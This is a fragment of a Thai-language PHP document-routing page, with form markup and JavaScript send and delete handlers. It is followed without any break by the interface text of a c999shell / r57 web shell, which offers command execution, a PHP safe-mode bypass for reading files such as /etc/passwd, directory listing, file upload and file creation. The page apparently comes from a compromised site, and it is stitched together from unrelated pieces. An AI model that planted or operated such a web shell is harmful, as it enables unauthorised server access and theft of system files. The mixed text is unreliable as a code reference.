                                              
if($oRs6->DrsDocDueDate!="0000-00-00"){ ?>
                                            <tr><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;กำหนดระยะเวลาดำเนินการ</td>
                                            <td><strong>:</strong></td>
                                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;&nbsp;&nbsp;&nbsp;ภายในวันที่&nbsp;<? echo abbreDate2($oRs6->DrsDocDueDate,'/');?></td></tr>
                                <? ?>
                                <tr>
                              <td colspan=3><hr color="#C87904"></hr></td>
                              </tr>
                                 </table>
                                 <?  //show status=3 send to person?>
                          <?        // }
                        
}    //each lineDoc  ?>
                 </div> </td>
                </tr>
                <tr><td>&nbsp;</td></tr>
              </table>
      </td></tr></table>
     <? //DrsView?>
      </form>  
</fieldset>  <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"><img src="../picture/allregistered_ico.gif" alt=""  border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ </font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; </font></td>
        </tr></table>

</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function checkFormat(p,q){
        if(p==1){
            window.alert("ไม่สามารถส่งต่อได้ เนื่องจากผู้ที่ส่งต่อนั้น\nไม่มีสิทธิ์ ในการส่งถึงผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ");
            return false ;
        }else if(q==1){
            window.alert("ไม่สามารถส่งต่อได้ \nเนื่องจากไม่มีผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ");
            return false ;
        }else{
            if(document.ff.PtID.value==0){
                alert("กรุณาเลือกลักษณะหนังสือ");
                document.ff.PtID.focus();
                return false ;
            }else{
                var agree=confirm("คุณต้องการส่งหนังสือแน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.ff.method.value="addsend";
                    return true;
                }else{
                    return false ;
                }
            }
        }
}
function searchPs(){
        document.ff.method.value="addsend2";
        return true;
}
function getPs(){
        document.ff.method.value="addPs";
        return true;
}
function deletePs(j){
        var agree=confirm("คุณต้องการลบรายชื่อที่จะส่งด่วนแน่นอนใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="deletePs";
            document.ff.deletePstmp.value = j;
            document.ff.submit();
            return true;
        }else{
            return false ;
        }
}
function SendDocNew(p,q,r,docid,drsid,x){
        var agree=confirm("คุณต้องการส่งเพิ่มเติมแน่นอนใช่หรือไม่ ?");
        if (agree){  
            if(x!=0){  fnlink="showSendDocNewSR.php";  }else{ fnlink="showSendDocNew.php"; }
            window.location.href =fnlink+"?flagshow="+p+"&monthe="+q+"&searchYear="+r+"&DocID="+docid+"&DrsID="+drsid+"&addsendps=1";
        }else{
            return false ;
        }
}
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
 function showline2(p){ 
             FileName = "showlinedocTable2.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0102 ]--